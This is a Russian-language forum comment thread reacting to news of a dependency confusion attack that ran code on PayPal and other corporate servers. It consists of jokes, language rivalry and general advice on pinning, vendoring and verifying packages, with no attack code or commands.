Отправлено Аноним , 10-Фев-21 13:15 
И как раст от такого спасет? А вы говорите безопасный язык. А раст такая же дырень со своим крейтсом.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено pda , 10-Фев-21 13:30 
crate не подвержен этой проблеме.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Платные Эксплоиты и Шифровальщики , 10-Фев-21 13:47 
Исследования по crate в закрытом доступе, оплата на Patreon.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено anonymous , 11-Фев-21 11:19 
Во-первых в rust этой уязвимости нет. Во-вторых rust -- это про safety, а не про security.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 13:21 
Не глупо ли это само по себе - выкладывать на публику проекты, зависящие от неопубликованных библиотек.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено JL2001 , 10-Фев-21 14:32 
> Не глупо ли это само по себе - выкладывать на публику проекты,
> зависящие от неопубликованных библиотек.

они и не выкладывают
в манифесте внутри опубликованного "бинарника" осталась инфа о том, из чего он собран, включая внутренние пакеты

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 13:27 
запускайте npm/pip/gems install на машинах разработчиков без изоляции, он вам и shell установит пользователям для кражи ssh-keys агента и вместе с вашими криптокошельками и рабочими местами.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено пох. , 10-Фев-21 17:51 
> запускайте npm/pip/gems install на машинах разработчиков без изоляции

а иначе нихрена не работает и не собирается. И что вот делааааать будииим?

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 22:28 
Микросервис в вебассемблю в контейнер в виртуальную машину в облаке.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 16-Фев-21 18:46 
А в яйце игла
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено JL2001 , 10-Фев-21 13:30 
чо там, пацаны, давно в vlc-ppa публиковали linux-generic-7.0.1 ?
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено JL2001 , 10-Фев-21 13:36 
> добавив в скрипт, запускаемый перед началом установки (preinstall в NPM), код для сбора информации о системе и отправки полученных сведений на внешний хост

pred/post-install запускать от рута, говорили они, ничего не будет, всегда так делали, говорили они

ей, пацаны с репозиториями, вас там ещё не во все дыры?
мантейнеры успевают все патчи мониторить, или как с Kubernetes - напихали с гита в пакет, и всё отлично?

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 13:50 
Оно и без рута отлично линукс юзерам установит сервисы.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено PetrG , 10-Фев-21 13:44 
Мой любимый кошмар на работе - почти каждый проект закачивает пол интернета при сборке. И мало кто понимает что там.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 14:46 
Выкачать всё в локальный репозиторий, сделать локальные пакеты. Запретить качать из инета, но не полностью. И ждать когда из интернет к тебе прилетит его клон.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 14:58 
Чем отличается фиксация пакетов с малварями от скачивания актуальной версии малвари?
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено JL2001 , 10-Фев-21 15:50 
> Чем отличается фиксация пакетов с малварями от скачивания актуальной версии малвари?

типо о старых версиях типо уже должна была поднятья шумиха, если что :)

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 19:27 
Поднялась шумиха, и твой пакетик на проде клиента дальше летит с вирусами.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 13:49 
А как же Perl? :3
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 13:50 
Залатали временно
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 14:06 
> А как же Perl? :3

Вернули домен

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 12-Фев-21 14:41 
А зря.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 13:55 
вот тебе и DevУпс!
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 14:01 
Очевидная атака. Удивительно что такие компании при сборке используют зависимости с инетов и не проверяют даже их подписи.

Всегда пишу eбылды и скачиваю все необходимые пакеты задолго до начала сборки.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 14:06 
Проверки подписи не у всех есть, да и проверяет вначале публичные репы и только потом приватные. Компании сами должен присылать патчи.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 15:59 
Скачивают руками, локально и только потом собираю.

Шарится по сторонним репам все равно что кирпичем на минном поле футбол играть.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Страдивариус , 10-Фев-21 16:46 
Анониму всё очевидно, но 130К грина ушло опять не ему =)
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 14:07 
Для пистона это норма. Даже прожекты с мегатоннами звест на гитхубе, имеют мегатонны же проблем с зависимостями и всякого дерьма в своем составе. npm уже вообще что-то вроде мема. Go ждёт такое же будущее ибо язык рассчитан на идиотов. Это не значит что на нём пишут токма дураки, но даун-френдли политика, не доводит до добра.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 14:44 
Ну все значит нам нужна единая платформа, которая будет монолитна полностью запрещающая сторонние зависимости и имеет богатую дефолтную библиотеку. Только как её сделать?
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 14:56 
Может не нужна платформа, а достаточно просто научиться программировать и делать зеродеп проги весом в десяток килобайт ? Или так не учили ?
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено JL2001 , 10-Фев-21 15:52 
> Может не нужна платформа, а достаточно просто научиться программировать и делать зеродеп
> проги весом в десяток килобайт ? Или так не учили ?

а вас то научили как коммунизм построить?

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 15:15 
Проблема не в зависимостях, а в навыках и культуре разработки, которые хромают у упомянутых язычков
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Стереопаштет , 12-Фев-21 06:10 
Проблема не в навыках, а в том что рынку нужно быстро и дешево. За идеальных сферических коней в вакууме никто не собирается платить. И если ты предложишь бизнесу писать велосипеды с нуля или перепроверять каждую версию каждой зависимости - на тебя как минимум посмотрят как на сумасшедшего. Либо ты находишь балланс между затратами-сесурити-скоростью разработки-багами-фичами, либо идешь ночевать под мостом (зато ты гордый и правильный! Не смузихлеб и не девляпс.).
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 14:54 
А что разве в GO уже переделали ? Раньше в GO чтобы цеплять файлы с гитхаба нужно было писать "github.com/mattn/go-sqlite3"
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Брат Анон , 10-Фев-21 16:10 
`go mod vendor` тебе в помощь. В голанге не так.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено еман , 11-Фев-21 22:15 
в Go - ещё лучше: на go get, go лезет к гуглу и спрашивает у него, можно ли скачать такой-то пакет, и качает только после утвердительного ответа. так что, если пакета нет в общественнодоступном ынтернете, нужно пользоваться специальными параметрами и специальными конфигурациями.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Оуноуним , 10-Фев-21 14:56 
Чем проще разработка, тем проще эксплуатация уязвимостей.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 14:58 
Тем проще ее заметить. Вон в ядре поди чего только нет ... исходники то открыты а толку от этого.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено пох. , 10-Фев-21 17:53 
> Тем проще ее заметить.

И как, заметили? Пока чуваки не пришли с мешком для денег?

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 19:30 
Заманивать хакера на живца/деньги/печеньки.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Erley , 10-Фев-21 15:23 
Странно что никто не озадачился проверкой базовых образов на которых собираются докер-контейнеры. Часто вижу как люди там используют какие-то мутные сборки убунты и тп. Вот где раздолье для хакеров!
Если уж качать бинарник из веба, то из проверенного источника и с проверкой подписи/хэша хотя бы.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 19:29 
Местные комментаторы уже давно знают что даже в надежном источнике с проверенной подписью есть сишная дырень.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено JL2001 , 11-Фев-21 02:12 
> Местные комментаторы уже давно знают что даже в надежном источнике с проверенной
> подписью есть сишная дырень.

плюсую, бро!!!111

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Брат Анон , 10-Фев-21 16:09 
Так-то вендоринг в golang великая сила))
Правда, это тоже не спасёт, если внешний пакет во время работы проги полезет в сеть хозяевам стучать (если админ -- снежинка с руками из от туда).
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 17:01 
Хахаха. npn, pip , rubygems.

В следующем выпуске ржавый карго. Бугага.

Сейчас его там нет только потому что на rust ещё ничего не сделали.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено пох. , 10-Фев-21 17:56 
Миллиарды зависимостей зависимостей от зависимостей - как раз успешно уже сделали.
Нам не надо чтоб на хруст чего-то работающее написали (вдруг они его и не пересоберут уже никогда?!) - нам как раз надо чтоб _переписывали_.

А что троянцев там еще ни разу не находили - так тысячегласс же ж.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 17:17 
Похоже, что пакетный ад Javascript дал о себе знать.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено JL2001 , 10-Фев-21 18:28 
> Похоже, что пакетный ад Javascript дал о себе знать.

так и тут кровавая рука жаваскрипта?!!

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 19:28 
Не так страшен жараскрипт как те кто на нем пишут.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено InuYasha , 10-Фев-21 22:29 
как то, что на нём пишут )
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 17:24 
Вообще-то когда скачивается пакет, должна подпись проверяться.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено пох. , 10-Фев-21 17:57 
дык, норм у него была подпись - в точности того чувака, который его честно создал.
Только не тот и не там, где предполагалось манки-кодером.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено JL2001 , 10-Фев-21 18:30 
> Вообще-то когда скачивается пакет, должна подпись проверяться.

так она и проверилась, и верная
но репозиторий другой и автор пакета другой

я не знаю какие пакетные менеджеры умеют пинить подписи авторов пакетов

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 11-Фев-21 05:19 
Есть лучше вариант — пинить версии пакетов (и всех зависимостей конечно) и умеют это чуть менее чем все современные менеджеры пакетов скриптовых языков.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено JL2001 , 11-Фев-21 18:45 
> Есть лучше вариант — пинить версии пакетов (и всех зависимостей конечно) и
> умеют это чуть менее чем все современные менеджеры пакетов скриптовых языков.

у меня есть проект-либа и 100500 зависящих от неё проектов
я апаю версию либы и должен собрать релиз из 100500 проектов для глобального предпрод-тестирования
мне пойти и в каждом из них прописать "теперь я завишу от версии либы +1" ?

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено mumu , 10-Фев-21 17:24 
Зачем тестировать? Просто пользуйтесь! Пользуйтесь все! Пока гром не грянет, мужик не перекрестится.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено пох. , 10-Фев-21 17:58 
Ну ты же понимаешь, что необходимость поддерживать функции оригинала (скачав его отдельно в обход автоматики) только немного усложнит троянский код?
И тест прекрасно пройден.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Леголас , 10-Фев-21 18:50 
Вы про Герасима?
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 17:49 
Всего 130 тысяч долларов, за такую черную ды ру, вас на..
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено пох. , 10-Фев-21 20:34 
Чуваки просили передать, что мешок, в котором они уволокли дань, ничуть от этого не испортился, и они планируют зайти с ним через недельку, как только закончат подсчитывать предыдущую добычу.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 18:15 
Вот зачем девопсы нужны.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 18:44 
Девпсы бесполезные существа.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Рр , 12-Фев-21 06:15 
Ненавижу девопсов. Меня в детстве огромный лохматый девопс покусал за ногу.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 19:07 
Девляпсы опять налетели на проблемы говнорепозитариев...
Удивительно, правда?
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 10-Фев-21 19:27 
Смузи разработчики не умеют разрабатывать.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено srgazh , 11-Фев-21 00:13 
75% от всех зафиксированных запусков кода были связаны с загрузкой NPM- Вот это ДЫРА. Как бороться с этим node и тп...
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Ilya Indigo , 11-Фев-21 01:01 
Молодец человек!
Увидел возможность, реализовал и очень не плохо на ней заработал!
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 11-Фев-21 15:49 
А мог бы стать миллионом собирая фермы на ригах
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 11-Фев-21 02:10 
Внешние автоматически выкачиваемые зависимости — это всегда риск.
А вдруг завтра lodash зальют с бекдором?
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено JL2001 , 11-Фев-21 02:24 
> Внешние автоматически выкачиваемые зависимости — это всегда риск.
> А вдруг завтра lodash зальют с бекдором?

а "внешнее НЕ автоматическое выкачивание зависимостей" - это как? или у вас тоже СБ круче мантейнеров редхата?

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено deeaitch , 11-Фев-21 04:05 
Вот кто бы сомневался во всех этох npn, ruby-чего-то там.

Там же будет и всё остальное подобное.

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 11-Фев-21 05:16 
Надуманная проблема для python.
--extra-index-url там никто не использует, кроме Microsoft, как раз по этой причине.
Плюс версии пакетов блокируются в venv при разработке, так что в CI никаких чудес не будет. Скукота.
"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено .NET , 11-Фев-21 14:09 
А как выполнить произвольный код в NuGet-пакете после его загрузки, если ни один из его типов не используется?
Статические конструкторы и module initializers (https://docs.microsoft.com/en-us/dotnet/csharp/whats-new/csh...) вызываются непосредственно перед доступом к типам.
Для ASP.NET есть атрибут PreApplicationStartMethodAttribute, но в .NET Core его убрали.

Только внедрением низкоуровневого кода в DllMain?

"Атака на зависимости позволила выполнить код на серверах Pay..."
Отправлено Аноним , 12-Фев-21 14:43 
Другим урок. Расслабляться нельзя. Всё время надо быть на чеке.